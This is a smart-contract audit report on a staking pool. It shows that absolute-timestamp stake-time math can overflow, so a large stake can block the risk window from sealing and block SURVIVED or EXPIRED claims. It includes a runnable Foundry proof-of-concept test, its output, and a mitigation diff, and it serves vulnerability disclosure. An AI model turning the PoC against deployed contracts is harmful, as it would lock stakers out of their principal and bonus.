Root + Impact
Description
-
Normal behavior: the pool accepts allowlisted standard ERC20 stake, stores stake-time accounting, and later uses that accounting to seal risk windows and pay SURVIVED or EXPIRED claimants.
-
The issue: stake-time accounting uses absolute Unix timestamps in checked uint256 multiplications. A raw token amount that is safe at the deposit timestamp can overflow at a later risk-window or outcome timestamp, because no in-scope code caps token supply, per-user stake, aggregate stake, or stake size against the pool's maximum timestamp.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
...
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
...
}
Risk
Likelihood:
-
Occurs when the factory owner allowlists a standard ERC20 with extremely large raw unit supply or decimals.
-
Occurs when a pool accepts an aggregate stake amount that is below the safe bound at deposit time but above type(uint256).max / T^2 at a later risk-window, terminal, or expiry timestamp.
Impact:
-
A first active-risk observation can revert in _markRiskWindowStart(), preventing the pool from sealing riskWindowStart.
-
A valid SURVIVED or EXPIRED claim can revert in _bonusShare(), preventing the claimant from receiving principal and bonus.
Proof of Concept
PoC command:
forge test --offline --match-path test/poc/LargeStakeTimeOverflowPoC.t.sol
Complete runnable PoC:
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract LargeStakeTimeOverflowPoC is BaseConfidencePoolTest {
function testPoC_largeStandardTokenStakeOverflowsOnLaterRiskObservation() external {
address largeStaker = alice;
uint256 t0 = block.timestamp;
uint256 laterTimestamp = t0 + 30 days;
uint256 safeAtDeposit = type(uint256).max / (t0 * t0);
uint256 unsafeAtLaterObservation = type(uint256).max / (laterTimestamp * laterTimestamp);
uint256 amount = unsafeAtLaterObservation + 1;
assertLe(amount, safeAtDeposit, "setup: amount is safe at the deposit timestamp");
token.mint(largeStaker, amount);
vm.startPrank(largeStaker);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
assertEq(pool.totalEligibleStake(), amount, "setup: large standard-token stake was accepted");
assertEq(token.balanceOf(address(pool)), amount, "setup: pool holds the accepted stake");
vm.warp(laterTimestamp);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "impact: risk window could not be latched");
}
}
Full output:
Compiling 64 files with Solc 0.8.26
Solc 0.8.26 finished in 5.50s
Compiler run successful!
Ran 1 test for test/poc/LargeStakeTimeOverflowPoC.t.sol:LargeStakeTimeOverflowPoC
[PASS] testPoC_largeStandardTokenStakeOverflowsOnLaterRiskObservation() (gas: 324567)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 640.75µs (99.79µs CPU time)
Ran 1 test suite in 1.36ms (640.75µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+ uint256 maxTimestamp = expiry;
+ if (newTotalEligibleStake > type(uint256).max / maxTimestamp / maxTimestamp) {
+ revert InvalidAmount();
+ }
_clampUserSums(msg.sender);
...
}
The protocol can also compute scores using relative elapsed time (T - entryTime) instead of absolute Unix timestamps, while still bounding amount * elapsed * elapsed.